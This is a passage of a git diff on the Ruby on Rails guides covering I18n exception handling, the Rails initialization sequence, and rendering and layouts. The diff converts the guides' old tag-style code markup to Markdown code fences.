activerecord.errors.messages.blank
errors.attributes.name.blank
errors.messages.blank
-</ruby>
+```
This way you can provide special translations for various error messages at different points in your models inheritance chain and in the attributes, models, or default scopes.
@@ -803,7 +803,7 @@ If you are using the Active Record +error_messages_for+ helper, you will want to
Rails ships with the following translations:
-<yaml>
+```yaml
en:
activerecord:
errors:
@@ -812,7 +812,7 @@ en:
one: "1 error prohibited this %{model} from being saved"
other: "%{count} errors prohibited this %{model} from being saved"
body: "There were problems with the following fields:"
-</yaml>
+```
h4. Overview of Other Built-In Methods that Provide I18n Support
@@ -846,28 +846,28 @@ For several reasons the Simple backend shipped with Active Support only does the
That does not mean you're stuck with these limitations, though. The Ruby I18n gem makes it very easy to exchange the Simple backend implementation with something else that fits better for your needs. E.g. you could exchange it with Globalize's Static backend:
-<ruby>
+```ruby
I18n.backend = Globalize::Backend::Static.new
-</ruby>
+```
You can also use the Chain backend to chain multiple backends together. This is useful when you want to use standard translations with a Simple backend but store custom application translations in a database or other backends. For example, you could use the Active Record backend and fall back to the (default) Simple backend:
-<ruby>
+```ruby
I18n.backend = I18n::Backend::Chain.new(I18n::Backend::ActiveRecord.new, I18n.backend)
-</ruby>
+```
h4. Using Different Exception Handlers
The I18n API defines the following exceptions that will be raised by backends when the corresponding unexpected conditions occur:
-<ruby>
+```ruby
MissingTranslationData # no translation was found for the requested key
InvalidLocale # the locale set to I18n.locale is invalid (e.g. nil)
InvalidPluralizationData # a count option was passed but the translation data is not suitable for pluralization
MissingInterpolationArgument # the translation expects an interpolation argument that has not been passed
ReservedInterpolationKey # the translation contains a reserved interpolation variable name (i.e. one of: scope, default)
UnknownFileType # the backend does not know how to handle a file type that was added to I18n.load_path
-</ruby>
+```
The I18n API will catch all of these exceptions when they are thrown in the backend and pass them to the default_exception_handler method. This method will re-raise all exceptions except for +MissingTranslationData+ exceptions. When a +MissingTranslationData+ exception has been caught, it will return the exception’s error message string containing the missing key/scope.
@@ -875,7 +875,7 @@ The reason for this is that during development you'd usually want your views to
In other contexts you might want to change this behaviour, though. E.g. the default exception handling does not allow to catch missing translations during automated tests easily. For this purpose a different exception handler can be specified. The specified exception handler must be a method on the I18n module or a class with +#call+ method:
-<ruby>
+```ruby
module I18n
class JustRaiseExceptionHandler < ExceptionHandler
def call(exception, locale, key, options)
@@ -889,27 +889,27 @@ module I18n
end
I18n.exception_handler = I18n::JustRaiseExceptionHandler.new
-</ruby>
+```
This would re-raise only the +MissingTranslationData+ exception, passing all other input to the default exception handler.
However, if you are using +I18n::Backend::Pluralization+ this handler will also raise +I18n::MissingTranslationData: translation missing: en.i18n.plural.rule+ exception that should normally be ignored to fall back to the default pluralization rule for English locale. To avoid this you may use additional check for translation key:
-<ruby>
+```ruby
if exception.is_a?(MissingTranslation) && key.to_s != 'i18n.plural.rule'
raise exception.to_exception
else
super
end
-</ruby>
+```
Another example where the default behaviour is less desirable is the Rails TranslationHelper which provides the method +#t+ (as well as +#translate+). When a +MissingTranslationData+ exception occurs in this context, the helper wraps the message into a span with the CSS class +translation_missing+.
To do so, the helper forces +I18n#translate+ to raise exceptions no matter what exception handler is defined by setting the +:raise+ option:
-<ruby>
+```ruby
I18n.t :foo, :raise => true # always re-raises exceptions from the backend
-</ruby>
+```
h3. Conclusion
diff --git a/guides/source/initialization.md b/guides/source/initialization.md
index b23f31cb1a..c4f398cc2e 100644
--- a/guides/source/initialization.md
+++ b/guides/source/initialization.md
@@ -28,7 +28,7 @@ h4. +bin/rails+
The actual +rails+ command is kept in _bin/rails_:
-<ruby>
+```ruby
#!/usr/bin/env ruby
if File.exists?(File.join(File.expand_path('../../..', __FILE__), '.git'))
@@ -36,7 +36,7 @@ if File.exists?(File.join(File.expand_path('../../..', __FILE__), '.git'))
$:.unshift(railties_path)
end
require "rails/cli"
-</ruby>
+```
This file will first attempt to push the +railties/lib+ directory if
present, and then requires +rails/cli+.
@@ -45,7 +45,7 @@ h4. +railties/lib/rails/cli.rb+
This file looks like this:
-<ruby>
+```ruby
require 'rbconfig'
require 'rails/script_rails_loader'
@@ -62,11 +62,11 @@ if ARGV.first == 'plugin'
else
require 'rails/commands/application'
end
-</ruby>
+```
The +rbconfig+ file from the Ruby standard library provides us with the +RbConfig+ class which contains detailed information about the Ruby environment, including how Ruby was compiled. We can see this in use in +railties/lib/rails/script_rails_loader+.
-<ruby>
+```ruby
require 'pathname'
module Rails
@@ -77,19 +77,19 @@ module Rails
end
end
-</ruby>
+```
The +rails/script_rails_loader+ file uses +RbConfig::Config+ to obtain the +bin_dir+ and +ruby_install_name+ values for the configuration which together form the path to the Ruby interpreter. The +RbConfig::CONFIG["EXEEXT"]+ will suffix this path with ".exe" if the script is running on Windows. This constant is used later on in +exec_script_rails!+. As for the +SCRIPT_RAILS+ constant, we'll see that when we get to the +in_rails_application?+ method.
Back in +rails/cli+, the next line is this:
-<ruby>
+```ruby
Rails::ScriptRailsLoader.exec_script_rails!
-</ruby>
+```
This method is defined in +rails/script_rails_loader+:
-<ruby>
+```ruby
def self.exec_script_rails!
cwd = Dir.pwd
return unless in_rails_application? || in_rails_application_subdirectory?
@@ -102,29 +102,29 @@ def self.exec_script_rails!
rescue SystemCallError
# could not chdir, no problem just return
end
-</ruby>
+```
This method will first check if the current working directory (+cwd+) is a Rails application or a subdirectory of one. This is determined by the +in_rails_application?+ method:
-<ruby>
+```ruby
def self.in_rails_application?
File.exists?(SCRIPT_RAILS)
end
-</ruby>
+```
The +SCRIPT_RAILS+ constant defined earlier is used here, with +File.exists?+ checking for its presence in the current directory. If this method returns +false+ then +in_rails_application_subdirectory?+ will be used:
-<ruby>
+```ruby
def self.in_rails_application_subdirectory?(path = Pathname.new(Dir.pwd))
File.exists?(File.join(path, SCRIPT_RAILS)) || !path.root? && in_rails_application_subdirectory?(path.parent)
end
-</ruby>
+```
This climbs the directory tree until it reaches a path which contains a +script/rails+ file. If a directory containing this file is reached then this line will run:
-<ruby>
+```ruby
exec RUBY, SCRIPT_RAILS, *ARGV if in_rails_application?
-</ruby>
+```
This is effectively the same as running +ruby script/rails [arguments]+, where +[arguments]+ at this point in time is simply "server".
@@ -140,11 +140,11 @@ h4. +script/rails+
This file is as follows:
-<ruby>
+```ruby
APP_PATH = File.expand_path('../../config/application', __FILE__)
require File.expand_path('../../config/boot', __FILE__)
require 'rails/commands'
-</ruby>
+```
The +APP_PATH+ constant will be used later in +rails/commands+. The +config/boot+ file referenced here is the +config/boot.rb+ file in our application which is responsible for loading Bundler and setting it up.
@@ -152,12 +152,12 @@ h4. +config/boot.rb+
+config/boot.rb+ contains:
-<ruby>
+```ruby
# Set up gems listed in the Gemfile.
ENV['BUNDLE_GEMFILE'] ||= File.expand_path('../../Gemfile', __FILE__)
require 'bundler/setup' if File.exists?(ENV['BUNDLE_GEMFILE'])
-</ruby>
+```
In a standard Rails application, there's a +Gemfile+ which declares all
dependencies of the application. +config/boot.rb+ sets
@@ -198,7 +198,7 @@ h4. +rails/commands.rb+
Once +config/boot.rb+ has finished, the next file that is required is +rails/commands+ which will execute a command based on the arguments passed in. In this case, the +ARGV+ array simply contains +server+ which is extracted into the +command+ variable using these lines:
-<ruby>
+```ruby
ARGV << '--help' if ARGV.empty?
aliases = {
@@ -212,14 +212,14 @@ aliases = {
command = ARGV.shift
command = aliases[command] || command
-</ruby>
+```
TIP: As you can see, an empty ARGV list will make Rails show the help
snippet.
If we used <tt>s</tt> rather than +server+, Rails will use the +aliases+ defined in the file and match them to their respective commands. With the +server+ command, Rails will run this code:
-<ruby>
+```ruby
when 'server'
# Change to the application's path if there is no config.ru file in current dir.
# This allows us to run script/rails server from other directories, but still get
@@ -234,18 +234,18 @@ when 'server'
Dir.chdir(Rails.application.root)
server.start
}
-</ruby>
+```
This file will change into the root of the directory (a path two directories back from +APP_PATH+ which points at +config/application.rb+), but only if the +config.ru+ file isn't found. This then requires +rails/commands/server+ which sets up the +Rails::Server+ class.
-<ruby>
+```ruby
require 'fileutils'
require 'optparse'
require 'action_dispatch'
module Rails
class Server < ::Rack::Server
-</ruby>
+```
+fileutils+ and +optparse+ are standard Ruby libraries which provide helper functions for working with files and parsing options.
@@ -258,12 +258,12 @@ h4. +rails/commands/server.rb+
The +Rails::Server+ class is defined in this file as inheriting from +Rack::Server+. When +Rails::Server.new+ is called, this calls the +initialize+ method in +rails/commands/server.rb+:
-<ruby>
+```ruby
def initialize(*)
super
set_environment
end
-</ruby>
+```
Firstly, +super+ is called which calls the +initialize+ method on +Rack::Server+.
@@ -273,34 +273,34 @@ h4. Rack: +lib/rack/server.rb+
The +initialize+ method in +Rack::Server+ simply sets a couple of variables:
-<ruby>
+```ruby
def initialize(options = nil)
@options = options
@app = options[:app] if options && options[:app]
end
-</ruby>
+```
In this case, +options+ will be +nil+ so nothing happens in this method.
After +super+ has finished in +Rack::Server+, we jump back to +rails/commands/server.rb+. At this point, +set_environment+ is called within the context of the +Rails::Server+ object and this method doesn't appear to do much at first glance:
-<ruby>
+```ruby
def set_environment
ENV["RAILS_ENV"] ||= options[:environment]
end
-</ruby>
+```
In fact, the +options+ method here does quite a lot. This method is defined in +Rack::Server+ like this:
-<ruby>
+```ruby
def options
@options ||= parse_options(ARGV)
end
-</ruby>
+```
Then +parse_options+ is defined like this:
-<ruby>
+```ruby
def parse_options(args)
options = default_options
@@ -313,11 +313,11 @@ def parse_options(args)
ENV["RACK_ENV"] = options[:environment]
options
end
-</ruby>
+```
With the +default_options+ set to this:
-<ruby>
+```ruby
def default_options
{
:environment => ENV['RACK_ENV'] || "development",
@@ -328,19 +328,19 @@ def default_options
:config => "config.ru"
}
end
-</ruby>
+```
There is no +REQUEST_METHOD+ key in +ENV+ so we can skip over that line. The next line merges in the options from +opt_parser+ which is defined plainly in +Rack::Server+
-<ruby>
+```ruby
def opt_parser
Options.new
end
-</ruby>
+```
The class *is* defined in +Rack::Server+, but is overwritten in +Rails::Server+ to take different arguments. Its +parse!+ method begins like this:
-<ruby>
+```ruby
def parse!(args)
args, options = args.dup, {}
@@ -349,7 +349,7 @@ def parse!(args)
opts.on("-p", "--port=port", Integer,
"Runs Rails on the specified port.", "Default: 3000") { |v| options[:Port] = v }
...
-</ruby>
+```
This method will set up keys for the +options+ which Rails will then be
able to use to determine how its server should run. After +initialize+
@@ -366,7 +366,7 @@ h4. +Rails::Server#start+
After +congif/application+ is loaded, +server.start+ is called. This method is defined like this:
-<ruby>
+```ruby
def start
url = "#{options[:SSLEnable] ? 'https' : 'http'}://#{options[:Host]}:#{options[:Port]}"
puts "=> Booting #{ActiveSupport::Inflector.demodulize(server)}"
@@ -395,7 +395,7 @@ ensure
# If we call 'options' with it unset, we get double help banners.
puts 'Exiting' unless @options && options[:daemonize]
end
-</ruby>
+```
This is where the first output of the Rails initialization happens. This
method creates a trap for +INT+ signals, so if you +CTRL-C+ the server,
@@ -407,7 +407,7 @@ instance of +ActiveSupport::Logger+.
The +super+ method will call +Rack::Server.start+ which begins its definition like this:
-<ruby>
+```ruby
def start &blk
if options[:warn]
$-w = true
@@ -449,19 +449,19 @@ def start &blk
server.run wrapped_app, options, &blk
end
-</ruby>
+```
The interesting part for a Rails app is the last line, +server.run+. Here we encounter the +wrapped_app+ method again, which this time
we're going to explore more (even though it was executed before, and
thus memorized by now).
-<ruby>
+```ruby
@wrapped_app ||= build_app app
-</ruby>
+```
The +app+ method here is defined like so:
-<ruby>
+```ruby
def app
@app ||= begin
if !::File.exist? options[:config]
@@ -473,30 +473,30 @@ def app
app
end
end
-</ruby>
+```
The +options[:config]+ value defaults to +config.ru+ which contains this:
-<ruby>
+```ruby
# This file is used by Rack-based servers to start the application.
require ::File.expand_path('../config/environment', __FILE__)
run <%= app_const %>
-</ruby>
+```
The +Rack::Builder.parse_file+ method here takes the content from this +config.ru+ file and parses it using this code:
-<ruby>
+```ruby
app = eval "Rack::Builder.new {( " <plus> cfgfile <plus> "\n )}.to_app",
TOPLEVEL_BINDING, config
-</ruby>
+```
The +initialize+ method of +Rack::Builder+ will take the block here and execute it within an instance of +Rack::Builder+. This is where the majority of the initialization process of Rails happens. The +require+ line for +config/environment.rb+ in +config.ru+ is the first to run:
-<ruby>
+```ruby
require ::File.expand_path('../config/environment', __FILE__)
-</ruby>
+```
h4. +config/environment.rb+
@@ -514,15 +514,15 @@ h3. Loading Rails
The next line in +config/application.rb+ is:
-<ruby>
+```ruby
require 'rails/all'
-</ruby>
+```
h4. +railties/lib/rails/all.rb+
This file is responsible for requiring all the individual frameworks of Rails:
-<ruby>
+```ruby
require "rails"
%w(
@@ -537,7 +537,7 @@ require "rails"
rescue LoadError
end
end
-</ruby>
+```
This is where all the Rails frameworks are loaded and thus made
available to the application. We won't go into detail of what happens
@@ -559,14 +559,14 @@ h4. +railties/lib/rails/application.rb+
The +initialize!+ method looks like this:
-<ruby>
+```ruby
def initialize!(group=:default) #:nodoc:
raise "Application has been already initialized." if @initialized
run_initializers(group, self)
@initialized = true
self
end
-</ruby>
+```
As you can see, you can only initialize an app once. This is also where the initializers are run.
@@ -583,7 +583,7 @@ h4. Rack: lib/rack/server.rb
Last time we left when the +app+ method was being defined:
-<ruby>
+```ruby
def app
@app ||= begin
if !::File.exist? options[:config]
@@ -595,12 +595,12 @@ def app
app
end
end
-</ruby>
+```
At this point +app+ is the Rails app itself (a middleware), and what
happens next is Rack will call all the provided middlewares:
-<ruby>
+```ruby
def build_app(app)
middleware[options[:environment]].reverse_each do |middleware|
middleware = middleware.call(self) if middleware.respond_to?(:call)
@@ -610,20 +610,20 @@ def build_app(app)
end
app
end
-</ruby>
+```
Remember, +build_app+ was called (by wrapped_app) in the last line of +Server#start+.
Here's how it looked like when we left:
-<ruby>
+```ruby
server.run wrapped_app, options, &blk
-</ruby>
+```
At this point, the implementation of +server.run+ will depend on the
server you're using. For example, if you were using Mongrel, here's what
the +run+ method would look like:
-<ruby>
+```ruby
def self.run(app, options={})
server = ::Mongrel::HttpServer.new(
options[:Host] || '0.0.0.0',
@@ -655,7 +655,7 @@ def self.run(app, options={})
yield server if block_given?
server.run.join
end
-</ruby>
+```
We won't dig into the server configuration itself, but this is
the last piece of our journey in the Rails initialization process.
diff --git a/guides/source/layouts_and_rendering.md b/guides/source/layouts_and_rendering.md
index 9eb8161c54..a81cc5b6f5 100644
--- a/guides/source/layouts_and_rendering.md
+++ b/guides/source/layouts_and_rendering.md
@@ -27,40 +27,40 @@ h4. Rendering by Default: Convention Over Configuration in Action
You've heard that Rails promotes "convention over configuration". Default rendering is an excellent example of this. By default, controllers in Rails automatically render views with names that correspond to valid routes. For example, if you have this code in your +BooksController+ class:
-<ruby>
+```ruby
class BooksController < ApplicationController
end
-</ruby>
+```
And the following in your routes file:
-<ruby>
+```ruby
resources :books
-</ruby>
+```
And you have a view file +app/views/books/index.html.erb+:
-<ruby>
+```ruby
<h1>Books are coming soon!</h1>
-</ruby>
+```
Rails will automatically render +app/views/books/index.html.erb+ when you navigate to +/books+ and you will see "Books are coming soon!" on your screen.
However a coming soon screen is only minimally useful, so you will soon create your +Book+ model and add the index action to +BooksController+:
-<ruby>
+```ruby
class BooksController < ApplicationController
def index
@books = Book.all
end
end
-</ruby>
+```
Note that we don't have explicit render at the end of the index action in accordance with "convention over configuration" principle. The rule is that if you do not explicitly render something at the end of a controller action, Rails will automatically look for the +action_name.html.erb+ template in the controller's view path and render it. So in this case, Rails will render the +app/views/books/index.html.erb+ file.
If we want to display the properties of all the books in our view, we can do so with an ERB template like this:
-<ruby>
+```ruby
<h1>Listing Books</h1>
<table>
@@ -86,7 +86,7 @@ If we want to display the properties of all the books in our view, we can do so
<br />
<%= link_to "New book", new_book_path %>
-</ruby>
+```
NOTE: The actual rendering is done by subclasses of +ActionView::TemplateHandlers+. This guide does not dig into that process, but it's important to know that the file extension on your view controls the choice of template handler. Beginning with Rails 2, the standard extensions are +.erb+ for ERB (HTML with embedded Ruby), and +.builder+ for Builder (XML generator).
@@ -100,13 +100,13 @@ h5. Rendering Nothing
Perhaps the simplest thing you can do with +render+ is to render nothing at all:
-<ruby>
+```ruby
render :nothing => true
-</ruby>
+```
If you look at the response for this using cURL, you will see the following:
-<shell>
+```shell
$ curl -i 127.0.0.1:3000/books
HTTP/1.1 200 OK
Connection: close
@@ -119,7 +119,7 @@ Cache-Control: no-cache
$
-</shell>
+```
We see there is an empty response (no data after the +Cache-Control+ line), but the request was successful because Rails has set the response to 200 OK. You can set the +:status+ option on render to change this response. Rendering nothing can be useful for AJAX requests where all you want to send back to the browser is an acknowledgment that the request was completed.
@@ -129,7 +129,7 @@ h5. Rendering an Action's View
If you want to render the view that corresponds to a different action within the same template, you can use +render+ with the name of the view:
-<ruby>
+```ruby
def update
@book = Book.find(params[:id])
if @book.update_attributes(params[:book])
@@ -138,13 +138,13 @@ def update
render "edit"
end
end
-</ruby>
+```
If the call to +update_attributes+ fails, calling the +update+ action in this controller will render the +edit.html.erb+ template belonging to the same controller.
If you prefer, you can use a symbol instead of a string to specify the action to render:
-<ruby>
+```ruby
def update
@book = Book.find(params[:id])
if @book.update_attributes(params[:book])
@@ -153,11 +153,11 @@ def update
render :edit
end
end
-</ruby>
+```
To be explicit, you can use +render+ with the +:action+ option (though this is no longer necessary in Rails 3.0):
-<ruby>
+```ruby
def update
@book = Book.find(params[:id])
if @book.update_attributes(params[:book])
@@ -166,7 +166,7 @@ def update
render :action => "edit"
end
end
-</ruby>
+```
WARNING: Using +render+ with +:action+ is a frequent source of confusion for Rails newcomers. The specified action is used to determine which view to render, but Rails does _not_ run any of the code for that action in the controller. Any instance variables that you require in the view must be set up in the current action before calling +render+.
@@ -174,30 +174,30 @@ h5. Rendering an Action's Template from Another Controller
What if you want to render a template from an entirely different controller from the one that contains the action code? You can also do that with +render+, which accepts the full path (relative to +app/views+) of the template to render. For example, if you're running code in an +AdminProductsController+ that lives in +app/controllers/admin+, you can render the results of an action to a template in +app/views/products+ this way:
-<ruby>
+```ruby
render "products/show"
-</ruby>
+```
Rails knows that this view belongs to a different controller because of the embedded slash character in the string. If you want to be explicit, you can use the +:template+ option (which was required on Rails 2.2 and earlier):
-<ruby>
+```ruby
render :template => "products/show"
-</ruby>
+```
h5. Rendering an Arbitrary File
The +render+ method can also use a view that's entirely outside of your application (perhaps you're sharing views between two Rails applications):
-<ruby>
+```ruby
render "/u/apps/warehouse_app/current/app/views/products/show"
-</ruby>
+```
Rails determines that this is a file render because of the leading slash character. To be explicit, you can use the +:file+ option (which was required on Rails 2.2 and earlier):
-<ruby>
+```ruby
render :file =>
"/u/apps/warehouse_app/current/app/views/products/show"
-</ruby>
+```
The +:file+ option takes an absolute file-system path. Of course, you need to have rights to the view that you're using to render the content.
@@ -211,7 +211,7 @@ The above three ways of rendering (rendering another template within the control
In fact, in the BooksController class, inside of the update action where we want to render the edit template if the book does not update successfully, all of the following render calls would all render the +edit.html.erb+ template in the +views/books+ directory:
-<ruby>
+```ruby
render :edit
render :action => :edit
render "edit"
@@ -226,7 +226,7 @@ render "/path/to/rails/app/views/books/edit"
render "/path/to/rails/app/views/books/edit.html.erb"
render :file => "/path/to/rails/app/views/books/edit"
render :file => "/path/to/rails/app/views/books/edit.html.erb"
-</ruby>
+```
Which one you use is really a matter of style and convention, but the rule of thumb is to use the simplest one that makes sense for the code you are writing.
@@ -234,27 +234,27 @@ h5. Using +render+ with +:inline+
The +render+ method can do without a view completely, if you're willing to use the +:inline+ option to supply ERB as part of the method call. This is perfectly valid:
-<ruby>
+```ruby
render :inline =>
"<% products.each do |p| %><p><%= p.name %></p><% end %>"
-</ruby>
+```
WARNING: There is seldom any good reason to use this option. Mixing ERB into your controllers defeats the MVC orientation of Rails and will make it harder for other developers to follow the logic of your project. Use a separate erb view instead.
By default, inline rendering uses ERB. You can force it to use Builder instead with the +:type+ option:
-<ruby>
+```ruby
render :inline =>
"xml.p {'Horrid coding practice!'}", :type => :builder
-</ruby>
+```
h5. Rendering Text
You can send plain text - with no markup at all - back to the browser by using the +:text+ option to +render+:
-<ruby>
+```ruby
render :text => "OK"
-</ruby>
+```
TIP: Rendering pure text is most useful when you're responding to AJAX or web service requests that are expecting something other than proper HTML.
@@ -264,9 +264,9 @@ h5. Rendering JSON
JSON is a JavaScript data format used by many AJAX libraries. Rails has built-in support for converting objects to JSON and rendering that JSON back to the browser:
-<ruby>
+```ruby
render :json => @product
-</ruby>
+```
TIP: You don't need to call +to_json+ on the object that you want to render. If you use the +:json+ option, +render+ will automatically call +to_json+ for you.
@@ -274,9 +274,9 @@ h5. Rendering XML
Rails also has built-in support for converting objects to XML and rendering that XML back to the caller:
-<ruby>
+```ruby
render :xml => @product
-</ruby>
+```
TIP: You don't need to call +to_xml+ on the object that you want to render. If you use the +:xml+ option, +render+ will automatically call +to_xml+ for you.
@@ -284,9 +284,9 @@ h5. Rendering Vanilla JavaScript
Rails can render vanilla JavaScript:
-<ruby>
+```ruby
render :js => "alert('Hello Rails');"
-</ruby>
+```
This will send the supplied string to the browser with a MIME type of +text/javascript+.
@@ -303,9 +303,9 @@ h6. The +:content_type+ Option
By default, Rails will serve the results of a rendering operation with the MIME content-type of +text/html+ (or +application/json+ if you use the +:json+ option, or +application/xml+ for the +:xml+ option.). There are times when you might like to change this, and you can do so by setting the +:content_type+ option:
-<ruby>
+```ruby
render :file => filename, :content_type => "application/rss"
-</ruby>
+```
h6. The +:layout+ Option
@@ -313,24 +313,24 @@ With most of the options to +render+, the rendered content is displayed as part
You can use the +:layout+ option to tell Rails to use a specific file as the layout for the current action:
-<ruby>
+```ruby
render :layout => "special_layout"
-</ruby>
+```
You can also tell Rails to render with no layout at all:
-<ruby>
+```ruby
render :layout => false
-</ruby>
+```
h6. The +:status+ Option
Rails will automatically generate a response with the correct HTTP status code (in most cases, this is +200 OK+). You can use the +:status+ option to change this:
-<ruby>
+```ruby
render :status => 500
render :status => :forbidden
-</ruby>
+```
Rails understands both numeric and symbolic status codes.
@@ -338,9 +338,9 @@ h6. The +:location+ Option
You can use the +:location+ option to set the HTTP +Location+ header:
-<ruby>
+```ruby
render :xml => photo, :location => photo_url(photo)
-</ruby>
+```
h5. Finding Layouts
@@ -350,23 +350,23 @@ h6. Specifying Layouts for Controllers
You can override the default layout conventions in your controllers by using the +layout+ declaration. For example:
-<ruby>
+```ruby
class ProductsController < ApplicationController
layout "inventory"
#...
end
-</ruby>
+```
With this declaration, all of the views rendered by the products controller will use +app/views/layouts/inventory.html.erb+ as their layout.
To assign a specific layout for the entire application, use a +layout+ declaration in your +ApplicationController+ class:
-<ruby>
+```ruby
class ApplicationController < ActionController::Base
layout "main"
#...
end
-</ruby>
+```
With this declaration, all of the views in the entire application will use +app/views/layouts/main.html.erb+ for their layout.
@@ -374,7 +374,7 @@ h6. Choosing Layouts at Runtime
You can use a symbol to defer the choice of layout until a request is processed:
-<ruby>
+```ruby
class ProductsController < ApplicationController
layout "products_layout"
@@ -388,27 +388,27 @@ class ProductsController < ApplicationController
end
end
-</ruby>
+```
Now, if the current user is a special user, they'll get a special layout when viewing a product.
You can even use an inline method, such as a Proc, to determine the layout. For example, if you pass a Proc object, the block you give the Proc will be given the +controller+ instance, so the layout can be determined based on the current request:
-<ruby>
+```ruby
class ProductsController < ApplicationController
layout Proc.new { |controller| controller.request.xhr? ? "popup" : "application" }
end
-</ruby>
+```
h6. Conditional Layouts
Layouts specified at the controller level support the +:only+ and +:except+ options. These options take either a method name, or an array of method names, corresponding to method names within the controller:
-<ruby>
+```ruby
class ProductsController < ApplicationController
layout "product", :except => [:index, :rss]
end
-</ruby>
+```
With this declaration, the +product+ layout would be used for everything but the +rss+ and +index+ methods.
@@ -418,30 +418,30 @@ Layout declarations cascade downward in the hierarchy, and more specific layout
* +application_controller.rb+
-<ruby>
+```ruby
class ApplicationController < ActionController::Base
layout "main"
end
-</ruby>
+```
* +posts_controller.rb+
-<ruby>
+```ruby
class PostsController < ApplicationController
end
-</ruby>
+```
* +special_posts_controller.rb+
-<ruby>
+```ruby
class SpecialPostsController < PostsController
layout "special"
end
-</ruby>
+```
* +old_posts_controller.rb+
-<ruby>
+```ruby
class OldPostsController < SpecialPostsController
layout false
@@ -455,7 +455,7 @@ class OldPostsController < SpecialPostsController
end
# ...
end
-</ruby>
+```
In this application:
@@ -471,7 +471,7 @@ Sooner or later, most Rails developers will see the error message "Can only rend
For example, here's some code that will trigger this error:
-<ruby>
+```ruby
def show
@book = Book.find(params[:id])
if @book.special?
@@ -479,11 +479,11 @@ def show
end
render :action => "regular_show"
end
-</ruby>
+```
If +@book.special?+ evaluates to +true+, Rails will start the rendering process to dump the +@book+ variable into the +special_show+ view. But this will _not_ stop the rest of the code in the +show+ action from running, and when Rails hits the end of the action, it will start to render the +regular_show+ view - and throw an error. The solution is simple: make sure that you have only one call to +render+ or +redirect+ in a single code path. One thing that can help is +and return+. Here's a patched version of the method:
-<ruby>
+```ruby
def show
@book = Book.find(params[:id])
if @book.special?
@@ -491,20 +491,20 @@ def show
end
render :action => "regular_show"
end
-</ruby>
+```
Make sure to use +and return+ instead of +&amp;&amp; return+ because +&amp;&amp; return+ will not work due to the operator precedence in the Ruby Language.
Note that the implicit render done by ActionController detects if +render+ has been called, so the following will work without errors:
-<ruby>
+```ruby
def show
@book = Book.find(params[:id])
if @book.special?
render :action => "special_show"
end
end
-</ruby>
+```
This will render a book with +special?+ set with the +special_show+ template, while other books will render with the default +show+ template.
@@ -512,23 +512,23 @@ h4. Using +redirect_to+
Another way to handle returning responses to an HTTP request is with +redirect_to+. As you've seen, +render+ tells Rails which view (or other asset) to use in constructing a response. The +redirect_to+ method does something completely different: it tells the browser to send a new request for a different URL. For example, you could redirect from wherever you are in your code to the index of photos in your application with this call:
-<ruby>
+```ruby
redirect_to photos_url
-</ruby>
+```
You can use +redirect_to+ with any arguments that you could use with +link_to+ or +url_for+. There's also a special redirect that sends the user back to the page they just came from:
-<ruby>
+```ruby
redirect_to :back
-</ruby>
+```
h5. Getting a Different Redirect Status Code
Rails uses HTTP status code 302, a temporary redirect, when you call +redirect_to+. If you'd like to use a different status code, perhaps 301, a permanent redirect, you can use the +:status+ option:
-<ruby>
+```ruby
redirect_to photos_path, :status => 301
-</ruby>
+```
Just like the +:status+ option for +render+, +:status+ for +redirect_to+ accepts both numeric and symbolic header designations.
@@ -538,7 +538,7 @@ Sometimes inexperienced developers think of +redirect_to+ as a sort of +goto+ co
Consider these actions to see the difference:
-<ruby>
+```ruby
def index
@books = Book.all
end
@@ -549,11 +549,11 @@ def show
render :action => "index"
end
end
-</ruby>
+```
With the code in this form, there will likely be a problem if the +@book+ variable is +nil+. Remember, a +render :action+ doesn't run any code in the target action, so nothing will set up the +@books+ variable that the +index+ view will probably require. One way to fix this is to redirect instead of rendering:
-<ruby>
+```ruby
def index
@books = Book.all
end
@@ -564,7 +564,7 @@ def show
redirect_to :action => :index
end
end
-</ruby>
+```
With this code, the browser will make a fresh request for the index page, the code in the +index+ method will run, and all will be well.
@@ -572,7 +572,7 @@ The only downside to this code is that it requires a round trip to the browser:
While in a small application, this added latency might not be a problem, it is something to think about if response time is a concern. We can demonstrate one way to handle this with a contrived example:
-<ruby>
+```ruby
def index
@books = Book.all
end
@@ -584,7 +584,7 @@ def show
render "index", :alert => "Your book was not found!"
end
end
-</ruby>
+```
This would detect that there are no books with the specified ID, populate the +@books+ instance variable with all the books in the model, and then directly render the +index.html.erb+ template, returning it to the browser with a flash alert message to tell the user what happened.
@@ -592,13 +592,13 @@ h4. Using +head+ To Build Header-Only Responses
The +head+ method can be used to send responses with only headers to the browser. It provides a more obvious alternative to calling +render :nothing+. The +head+ method takes one parameter, which is interpreted as a hash of header names and values. For example, you can return only an error header:
-<ruby>
+```ruby
head :bad_request
-</ruby>
+```
This would produce the following header:
-<shell>
+```shell
HTTP/1.1 400 Bad Request
Connection: close
Date: Sun, 24 Jan 2010 12:15:53 GMT
@@ -607,17 +607,17 @@ Content-Type: text/html; charset=utf-8
X-Runtime: 0.013483
Set-Cookie: _blog_session=...snip...; path=/; HttpOnly
Cache-Control: no-cache
-</shell>
+```
Or you can use other HTTP headers to convey other information:
-<ruby>
+```ruby
head :created, :location => photo_path(@photo)
-</ruby>
+```
Which would produce:
-<shell>
+```shell
HTTP/1.1 201 Created
Connection: close
Date: Sun, 24 Jan 2010 12:16:44 GMT
@@ -627,7 +627,7 @@ Content-Type: text/html; charset=utf-8
X-Runtime: 0.083496
Set-Cookie: _blog_session=...snip...; path=/; HttpOnly
Cache-Control: no-cache
-</shell>
+```
h3. Structuring Layouts
@@ -656,10 +656,10 @@ h5. Linking to Feeds with the +auto_discovery_link_tag+
The +auto_discovery_link_tag+ helper builds HTML that most browsers and newsreaders can use to detect the presence of RSS or Atom feeds. It takes the type of the link (+:rss+ or +:atom+), a hash of options that are passed through to url_for, and a hash of options for the tag:
-<erb>
+```erb
<%= auto_discovery_link_tag(:rss, {:action => "feed"},
{:title => "RSS Feed"}) %>
-</erb>
+```
There are three tag options available for the +auto_discovery_link_tag+:
@@ -677,48 +677,48 @@ A JavaScript file within a Rails application or Rails engine goes in one of thre
You can specify a full path relative to the document root, or a URL, if you prefer. For example, to link to a JavaScript file that is inside a directory called +javascripts+ inside of one of +app/assets+, +lib/assets+ or +vendor/assets+, you would do this:
-<erb>
+```erb
<%= javascript_include_tag "main" %>
-</erb>
+```
Rails will then output a +script+ tag such as this:
-<html>
+```html
<script src='/assets/main.js'></script>
-</html>
+```
The request to this asset is then served by the Sprockets gem.
To include multiple files such as +app/assets/javascripts/main.js+ and +app/assets/javascripts/columns.js+ at the same time:
-<erb>
+```erb
<%= javascript_include_tag "main", "columns" %>
-</erb>
+```
To include +app/assets/javascripts/main.js+ and +app/assets/javascripts/photos/columns.js+:
-<erb>
+```erb
